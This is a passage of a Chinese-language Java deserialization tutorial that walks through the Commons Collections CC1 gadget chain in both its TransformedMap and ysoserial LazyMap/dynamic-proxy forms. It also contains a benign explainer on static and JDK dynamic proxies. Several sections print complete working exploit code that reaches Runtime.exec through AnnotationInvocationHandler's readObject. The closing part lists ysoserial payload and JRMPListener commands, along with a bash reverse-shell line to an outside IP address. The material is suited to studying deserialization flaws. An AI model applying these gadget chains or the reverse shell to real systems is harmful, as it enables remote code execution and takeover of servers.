所以当我们传入Target.class
时,我们确保我们的map中存在一个键的值为value
即可进入447行
的if结构;顺势之下,我们也通过了下面的那个if结构,因为下面的if结构仅是判断我们取出的值
是不是memberType
类型的实例以及是不是ExceptionProxy
类型的实例,均不是即可进入下面的if结构,因为我们的值
是value,所以成功进入下面的if结构;
但是到这其实还不能够完成我们弹计算器的功能;因为在AnnotationInvocationHandler
类中重写的readObject
函数调用的setValues
函数中传入的参数不可控,我们需要的应该是传入Runtime
对象,然后去获取它的exec
方法进行执行;
为了解决上述这个参数不可控的问题,我们需要介绍两个类,ChainedTransformer
和ConstantTransformer
来解决问题;
链式执行 : ChainedTransformer
接受一组 Transformer
对象,然后依次对输入数据应用这些转换transform()
操作。每个 Transformer
的输出会作为下一个 Transformer
的参数输入。
ConstantTransformer
的作用和功能
主要作用是在转换transform()
时返回一个预定义的常量值,无论输入是什么。也就是说,不管传递给 ConstantTransformer
的输入对象是什么,它都会忽略输入,始终返回构造时指定的常量值。
根据以上两个类的功能,我们可以使setValues
传入任何参数时,最后调用transform
时传入的参数均为Runtime.class
,具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.candy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class CC1_Exp { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime r = Runtime.getRuntime(); Transformer[] transformers = { new ConstantTransformer (r), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true ); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap); byte [] ser = ser(annotationInvocationHandler); deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
通过下断点一步步跟踪最后可以发现确实如之前预料的一样,最后的参数修改成为Runtime.class
,达到修改参数的目的,但是继续运行会发现仍然产生异常;
发现在序列化的过程中产生了异常,这个问题的来源是因为Runtime
没有实现serializable
不能进行序列化;
这时想到ChainedTransform的链式执行以及之前利用过InvokerTransformer
进行反射调用任意类的函数,那么可以结合ChainedTransformer和InvokerTransformer,多执行几次transform函数,实现通过单例模式反射调用exec函数;
1 2 3 4 5 Class<Runtime> runtimeClass = Runtime.class;Method getRuntime = runtimeClass.getMethod("getRuntime" , null );Runtime r = (Runtime) getRuntime.invoke(null , null );Method exec = runtimeClass.getMethod("exec" , String.class); exec.invoke(r, "calc" );
先熟悉以下上述的反射调用exec函数的代码,我们在修改成InvokerTransformer
调用即可;
1 2 3 4 5 6 Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
最后得到我们完整的反序列化利用链代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.candy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class exp { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true ); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap); byte [] ser = ser(annotationInvocationHandler); deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
根据最后的利用链代码得出以下的流程图;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
四、动态代理 这里先说说为啥要讲讲这个动态代理,首先是有一些反序列化链子中会涉及到这个知识点,如果不会到时候分析就会看得一脸懵,不知道为啥就会调用了;第二就是我们接下来分析yso的CC1链子中就利用了动态代理。
4.1 代理模式 代理模式是一种比较好理解的设计模式。简单来说就是 我们使用代理对象来代替对真实对象(real object)的访问,这样就可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。
代理模式的主要作用是扩展目标对象的功能,比如说在目标对象的某个方法执行前后你可以增加一些自定义的操作。
代理模式有静态代理和动态代理两种实现方式,我们依次尝试静态代理和动态代理的实现。
4.2 静态代理 静态代理中,我们对目标对象的每个方法的增强都是手动完成的( 后面会具体演示代码 ),非常不灵活( 比如接口一旦新增加方法,目标对象和代理对象都要进行修改 )且麻烦(需要对每个目标类都单独写一个代理类 )。 实际应用场景非常非常少,日常开发几乎看不到使用静态代理的场景。
上面我们是从实现和应用角度来说的静态代理,从 JVM 层面来说, 静态代理在编译时就将接口、实现类、代理类这些都变成了一个个实际的 class 文件。
静态代理实现步骤:
定义一个接口及其实现类;
创建一个代理类同样实现这个接口
将目标对象注入进代理类,然后在代理类的对应方法调用目标类中的对应方法。这样的话,我们就可以通过代理类屏蔽对目标对象的访问,并且可以在目标方法执行前后做一些自己想做的事情。
下面通过代码展示!
定义发送短信的接口
1 2 3 public interface SmsService { String send (String message) ; }
实现发送短信的接口
1 2 3 4 5 6 public class SmsServiceImpl implements SmsService { public String send (String message) { System.out.println("send message:" + message); return message; } }
创建代理类并同样实现发送短信的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class SmsProxy implements SmsService { private final SmsService smsService; public SmsProxy (SmsService smsService) { this .smsService = smsService; } @Override public String send (String message) { System.out.println("before method send()" ); smsService.send(message); System.out.println("after method send()" ); return null ; } }
实际使用
1 2 3 4 5 6 7 public class staticProxy { public static void main (String[] args) { SmsService smsService = new SmsServiceImpl (); SmsProxy smsProxy = new SmsProxy (smsService); smsProxy.send("Java is the best language!" ); } }
运行上述代码之后,控制台打印出:
1 2 3 before method send() send message:Java is the best language! after method send()
可以输出结果看出,我们已经增加了 SmsServiceImpl
的send()
方法。
4.3 动态代理 内容来自:https://javaguide.cn/java/basis/proxy.html
相比于静态代理来说,动态代理更加灵活。我们不需要针对每个目标类都单独创建一个代理类,并且也不需要我们必须实现接口,我们可以直接代理实现类( CGLIB 动态代理机制 )。
从 JVM 角度来说,动态代理是在运行时动态生成类字节码,并加载到 JVM 中的。
就 Java 来说,动态代理的实现方式有很多种,比如 JDK 动态代理 、CGLIB 动态代理 等等。
下面通过代码展示一下JDK动态代理的效果:
4.3.1 基本类的介绍 在 Java 动态代理机制中 **InvocationHandler**
接口和 **Proxy**
类是核心。
Proxy
类中使用频率最高的方法是:newProxyInstance()
,这个方法主要用来生成一个代理对象。
1 2 3 4 5 6 7 public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException { ...... }
这个方法一共有 3 个参数:
loader :类加载器,用于加载代理对象;
interfaces : 被代理类实现的一些接口;
h : 实现了 InvocationHandler
接口的对象;
要实现动态代理的话,还必须需要实现InvocationHandler
来自定义处理逻辑。 当我们的动态代理对象调用一个方法时,这个方法的调用就会被转发到实现InvocationHandler
接口类的 invoke
方法来调用。
1 2 3 4 5 6 7 8 public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable; }
invoke()
方法有下面三个参数:
proxy :动态生成的代理类
method : 与代理类对象调用的方法相对应
args : 当前 method 方法的参数
也就是说:你通过 **Proxy**
类的 **newProxyInstance()**
创建的代理对象在调用方法的时候,实际会调用到实现 **InvocationHandler**
接口的类的 **invoke()**
方法。 你可以在 invoke()
方法中自定义处理逻辑,比如在方法执行前后做什么事情。
4.3.2 JDK动态代理类的使用步骤
定义一个接口及其实现类;
自定义 InvocationHandler
并重写invoke
方法,在 invoke
方法中我们会调用原生方法(被代理类的方法)并自定义一些处理逻辑;
通过 Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
方法创建代理对象;
4.3.3 代码示例 1.定义发送短信的接口
1 2 3 4 5 package com.candy.dynamicProxy;public interface SmsService { String send (String message) ; }
2.实现发送短信的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.candy.dynamicProxy;public class SmsServiceImpl implements SmsService { @Override public String send (String message) { System.out.println("send message:" + message); return message; } }
3.定义一个 JDK 动态代理类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.candy.dynamicProxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class DebugInvocationHandler implements InvocationHandler { private final Object target; public DebugInvocationHandler (Object target) { this .target = target; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("before method " + method.getName()); Object result = method.invoke(target, args); System.out.println("after method " + method.getName()); return result; } }
invoke()
方法: 当我们的动态代理对象调用原生方法的时候,最终实际上调用到的是 invoke()
方法,然后 invoke()
方法代替我们去调用了被代理对象的原生方法。
4.实际使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.candy.dynamicProxy;import java.lang.reflect.Proxy;public class dynamicProxy { public static void main (String[] args) { SmsServiceImpl smsService = new SmsServiceImpl (); SmsService smsServiceProxy = (SmsService) Proxy.newProxyInstance( smsService.getClass().getClassLoader(), smsService.getClass().getInterfaces(), new DebugInvocationHandler (smsService) ); smsServiceProxy.send("Java is the best language!" ); } }
getProxy()
:主要通过Proxy.newProxyInstance()
方法获取某个类的代理对象
运行上述代码之后,控制台打印出:
1 2 3 before method send send message:Java is the best language! after method send
4.4 总结 说了这么多,我们需要知道的重点是什么呢?
动态代理的创建方法,后续我们看到相关代码的时候能够知道这个是使用的动态代理;
什么时候会调用invoke()
函数,当代理的对象调用方法的时候就会调用InvocationHandler
中的invoke()
函数;
知道以上这两点,在以后的Java后序列化的学习中就差不多够用了。
五、yso的CC1利用链 上面不是分析过CC1利用链了吗?那这里还分析什么?
这里分析的是CC1链的另一个实现版本,该CC1实现进行了部分修改:
不在使用TransformedMap
进行利用,而是采用LazyMap
和动态代理
技术实现利用链;
相同点在于都采用InvokerTransformer
进行函数调用命令执行的功能;
通过查找用法可以看到LazyMap
中的get
函数调用了transform
,照常需要知道factory
属性是否可控,设置我们需要的值;
与此同时,get
函数为public属性,可访问,传入参数可控;
在LazyMap
中发现一个decorate
函数与TransformedMap
的decorate
函数类似,可以设置factory
属性的值,这样我们也就可以指定内容调用transform
函数;
确定了这些以后,我们即可测试这部分内容是否可以构成利用,实践利用测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.candy;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class LazyMap2transform { public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); Map lazyMap = LazyMap.decorate(map, invokerTransformer); lazyMap.get(r); } }
目前得到的流程图,如下图所示:
5.2 AnnotationInvocationHandler调用get函数 此处如果直接查找get
函数的用法会有数不胜数的用法,但是在AnnotationInvocationHandler
类中的invoke
函数中也存在对get
函数的调用;
并且可以发现这个invoke函数
与我们上述讲的动态代理实现的那个invoke函数比较相似,至少在参数上一致
我们发现该类中实现了InvocationHandler
。
此时,想要调用invoke
函数,我们就想到了动态代理。在一个类被代理了以后,通过代理调用该类的方法,就一定会调用该代理类重写invoke
函数。
与此同时,AnnotationInvocationHandler
类中存在重写readObject
函数,也可作为入口类使用;
在原先的TransformeredMap
CC1链的基础之上进行理解,readObject
函数作用入口,memberValues
属性调用了entrySet()
方法,所以我们对memberValues
属性进行设置代理,当它调用entrySet()
方法时,会进行动态代理,则会触发invoke
函数。
因此,最终得到以下的反序列化利用链(ChainedTransformer和ConstantTransformer的使用与之前分析的CC1链一致,不在详细讲解):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.candy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class exp { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHandlerDeclaredConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerDeclaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, proxyMap); byte [] ser = ser(invocationHandler); deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
六、yso工具的使用方法 https://github.com/frohoff/ysoserial
https://github.com/Y4er/ysoserial
1 2 3 4 5 6 java8u65 -jar ysoserial-0.0 .6 -SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.bin java8u65 -jar ysoserial-0.0 .6 -SNAPSHOT-all.jar CommonsCollections4 "calc" > cc4.bin java8u65 -cp ysoserial-0.0 .6 -SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5555 Jackson1 "calc" java8u65 -jar ysoserial-0.0 .6 -SNAPSHOT-all.jar JRMPClient "127.0.0.1:5555" > jrmpClient.bin tar -xzf jdk-8u65-linux-x64.tar.gz bash -i >& /dev/tcp/43.139 .222 .190 /6666 0 >&1